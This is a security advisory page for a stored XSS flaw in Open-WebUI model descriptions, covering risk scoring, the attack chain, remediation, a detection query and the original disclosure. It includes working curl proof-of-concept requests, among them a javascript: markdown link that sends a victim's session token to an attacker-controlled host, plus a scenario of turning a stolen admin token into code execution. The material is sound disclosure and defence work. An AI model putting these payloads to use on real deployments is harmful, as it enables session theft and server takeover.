CVE-2026-44721: open-webui: XSS in model descriptions steals session tokens

GHSA-gf5m-wcrh-7928 HIGH CISA: ATTEND
Published May 8, 2026
CISO Take

Open-WebUI versions through 0.8.12 contain a stored XSS vulnerability where any authenticated user with model creation permissions can embed a javascript: URI inside a markdown link in a model description, bypassing HTML sanitization entirely and executing arbitrary JavaScript in any viewer's browser. The sanitizer escapes angle brackets but ignores javascript: scheme URIs; marked.parse() wraps them in anchor tags, and Svelte's {@html} directive renders them without DOMPurify validation—a pipeline-ordering flaw introduced after sanitization completes, not a simple input validation gap. Any organization running Open-WebUI in a multi-user context should treat this as critical: the PoC is fully published, exploitation requires only a low-privilege account and a single victim click, and a stolen admin token unlocks arbitrary code execution through Open-WebUI's built-in tool creation feature—turning a UI XSS into potential server compromise. Patch immediately to v0.9.0 and, until patching is complete, restrict workspace.models permission to fully trusted accounts only.

Sources: GitHub Advisory ATLAS NVD

What is the risk?

CVSS 7.3 High with low attack complexity and low privilege requirements places this in the high-urgency band for any multi-user Open-WebUI deployment. While user interaction is required (victim must click the hyperlink), the social engineering surface is minimal—a credible-looking documentation link in a model description is unremarkable. The PoC is fully public and trivially reproducible with a single curl command. The 52 prior CVEs in the same package signal systemic security debt. No active exploitation or CISA KEV listing exists yet, but the absence of exploit tooling beyond the advisory PoC is a temporary condition. Risk is highest in enterprise deployments where Open-WebUI fronts privileged AI infrastructure or where admin accounts can execute code on the host.

How does the attack unfold?

Initial Access
Attacker with low-privilege account uses POST /api/v1/models/create to create a model with a javascript: URI embedded in a markdown link inside the description field.
AML.T0049
User Execution
A victim (potentially an admin) selects the malicious model in the chat UI and clicks the hyperlink in the description, triggering the stored javascript: payload in their browser.
AML.T0011.003
Credential Theft
The JavaScript payload reads the victim's session token from localStorage and exfiltrates it via a fetch request to an attacker-controlled server.
AML.T0055
Privilege Escalation & Code Execution
Attacker authenticates with the stolen admin token and creates a new Open-WebUI tool containing a malicious Python function, achieving arbitrary code execution on the host server.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.8.12 0.9.0
142.4K Pushed 4d ago 77% patched ~5d to patch Full package profile →
Open WebUI npm <= 0.8.12 0.9.0
142.4K Pushed 4d ago 77% patched ~5d to patch Full package profile →

How severe is it?

CVSS 3.1
7.3 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 22% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Unchanged
C High
I High
A None

What should I do?

5 steps
  1. PATCH

    Upgrade to Open-WebUI v0.9.0 (commit 5eab125) which wraps marked.parse() output with DOMPurify.sanitize(), closing the vector.

  2. INTERIM

    Restrict workspace.models permission to fully trusted administrators only until patching is complete.

  3. DETECT

    Scan model description fields for javascript: payloads using SQL: SELECT id, name, meta->>'description' FROM models WHERE meta->>'description' ILIKE '%javascript:%';

  4. AUDIT

    Review API access logs for unexpected admin-level calls following user model selections that could indicate token theft.

  5. ROTATE

    If compromise is suspected, invalidate all active session tokens immediately and rotate API keys.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, Robustness and Cybersecurity
ISO 42001
6.1.2 - AI Risk Assessment
NIST AI RMF
MANAGE-2.2 - Risk Treatment for AI Systems
OWASP LLM Top 10
LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2026-44721?

Open-WebUI versions through 0.8.12 contain a stored XSS vulnerability where any authenticated user with model creation permissions can embed a javascript: URI inside a markdown link in a model description, bypassing HTML sanitization entirely and executing arbitrary JavaScript in any viewer's browser. The sanitizer escapes angle brackets but ignores javascript: scheme URIs; marked.parse() wraps them in anchor tags, and Svelte's {@html} directive renders them without DOMPurify validation—a pipeline-ordering flaw introduced after sanitization completes, not a simple input validation gap. Any organization running Open-WebUI in a multi-user context should treat this as critical: the PoC is fully published, exploitation requires only a low-privilege account and a single victim click, and a stolen admin token unlocks arbitrary code execution through Open-WebUI's built-in tool creation feature—turning a UI XSS into potential server compromise. Patch immediately to v0.9.0 and, until patching is complete, restrict workspace.models permission to fully trusted accounts only.

Is CVE-2026-44721 actively exploited?

No confirmed active exploitation of CVE-2026-44721 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44721?

1. PATCH: Upgrade to Open-WebUI v0.9.0 (commit 5eab125) which wraps marked.parse() output with DOMPurify.sanitize(), closing the vector. 2. INTERIM: Restrict workspace.models permission to fully trusted administrators only until patching is complete. 3. DETECT: Scan model description fields for javascript: payloads using SQL: SELECT id, name, meta->>'description' FROM models WHERE meta->>'description' ILIKE '%javascript:%'; 4. AUDIT: Review API access logs for unexpected admin-level calls following user model selections that could indicate token theft. 5. ROTATE: If compromise is suspected, invalidate all active session tokens immediately and rotate API keys.

What systems are affected by CVE-2026-44721?

This vulnerability affects the following AI/ML architecture patterns: LLM chat interfaces, Multi-user AI platforms, Local LLM deployments, Enterprise AI assistant hubs.

What is the CVSS score for CVE-2026-44721?

CVE-2026-44721 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.31%.

What is the AI security impact?

Affected AI Architectures

LLM chat interfacesMulti-user AI platformsLocal LLM deploymentsEnterprise AI assistant hubs

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: 6.1.2
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM02

What are the technical details?

Original Advisory

> [!IMPORTANT] > Relationship to CVE-2024-7990 > CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer. The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an `<a href="javascript:...">` element, and rendered live by `{@html}`. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive. Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize). Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis. ### Summary This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI. ### Details Root Cause: Model descriptions are rendered in two Svelte components via this chain: `sanitizeResponseContent(description) → .replaceAll('\n', '<br>') → marked.parse() → {@html ...}` The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description. `index.ts:82-92` ```ts export const sanitizeResponseContent = (content: string) => { return content .replace(/<\|[a-z]*$/, '') // strip incomplete <|tokens .replace(/<\|[a-z]+\|$/, '') // strip incomplete <|token| .replace(/<$/, '') // strip trailing < .replaceAll('<', '&lt;') // escape < to &lt; .replaceAll('>', '&gt;') // escape > to &gt; .replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns .trim(); }; ``` This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via `javascript:` which is the fundamental issue. `.replaceAll('\n', '<br>')` will replace newlines with `<br>` tags, and since payload can be written without newlines, its unaffected. `marked` sees `[text](url)` and generated an anchor tag and does not block the payload of `javascript:`. Svelte's `{@html}` directive inserts raw HTML into the DOM without escaping, creating the vulnerability. Affected files: `src/lib/components/chat/Placeholder.svelte` (lines 177–181) `src/lib/components/chat/ChatPlaceholder.svelte` (lines 99–103) ### PoC Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server. Step 1 - Create a model with a malicious description. The token used must be from an account with either the following. A. Admin privileges B. An account with model creation permission ```bash curl -X POST 'http://<HOST>/api/v1/models/create' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-test", "name": "Helpful Assistant!", "base_model_id": "llama3", "meta": { "description": "A helpful AI assistant. [Click here for docs](javascript:alert())" }, "params": {} }' ``` Any authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance. Step 2 - Select the model: Login and select the created model, if you followed the PoC it will be Helpful Asisstant! <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/d649c727-276c-4011-8234-140c51a32b68" /> Step 3 - XSS Triggers: Click on the hyperlink and watch the alert trigger. <img width="1203" height="718" alt="image" src="https://github.com/user-attachments/assets/289fc3d4-e09a-45a4-b83d-40984d47a760" /> **Below is a PoC that steals the access token from localstorage** Step 1 - Setup a local python HTTPServer `python3 -m http.sever 8080` Step 2 - Create a model with a malicious payload to steal the token from localstorage ```bash curl -X POST 'http://<HOST>/api/v1/models/create' \ -H 'Authorization: Bearer <TOKEN>' \ -H 'Content-Type: application/json' \ -d '{ "id": "xss-model", "name": "Token Stealer", "base_model_id": "llama3", "meta": { "description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))" }, "params": {} }' ``` Step 3 - Navigate to the malicious model and click on the hyperlink Check on the local server you have set up in Step 1 and see that the token is returned within the URL. <img width="669" height="50" alt="image" src="https://github.com/user-attachments/assets/7933e855-cc0a-40f5-a443-5c0363b1b8fa" /> ### Impact As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI). Attack Scenario ``` 1. Attacker creates a model with a malicious description 2. Victim selects model and clicks the hyperlink 3. Victim authorization token is stolen ``` This vulnerability affects all Open-WebUI users. ### Remediation Recommended fix — wrap `marked.parse()` output with `DOMPurify.sanitize()`. In the affected files, change ```ts {@html marked.parse( sanitizeResponseContent(description).replaceAll('\n', '<br>') )} ``` into ```ts {@html DOMPurify.sanitize( marked.parse( sanitizeResponseContent(description).replaceAll('\n', '<br>') ) )} ``` This matches the pattern already used in other parts of the application such as but not limiting to `ConfirmDialog.svelte:130` and `NotebookView.svelte:77`. DOMPurify will handle the stripping of `javascript:` URIs, event handlers and other dangerous HTML by default. ### AI Disclosure Claude was used to assist in: Systematic codebase searching to identify unsanitized `{@html}` rendering paths Verifying `marked@9.1.6` behavior with `javascript:` URIs ## Credits Lin, WeiChi from Sompo Holdings, Inc.

Exploitation Scenario

An attacker with a low-privilege Open-WebUI account posts a model named 'GPT-4o Research Assistant' via the /api/v1/models/create API endpoint with a description containing: [View Model Card](javascript:void(fetch(`https://attacker.com/c?t=${localStorage.token}`))). The model appears in the shared model list accessible to all users including admins. When an admin selects the model and clicks the documentation link, the JavaScript payload silently exfiltrates their session token to the attacker's server. The attacker then authenticates as admin, navigates to the Tools section, and creates a new tool with a Python function containing os.system() calls—achieving arbitrary code execution on the Open-WebUI server. The full chain from initial access to RCE requires no AI/ML expertise and exploits only standard web attack primitives.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Timeline

Published
May 8, 2026
Last Modified
May 8, 2026
First Seen
May 8, 2026

Related Vulnerabilities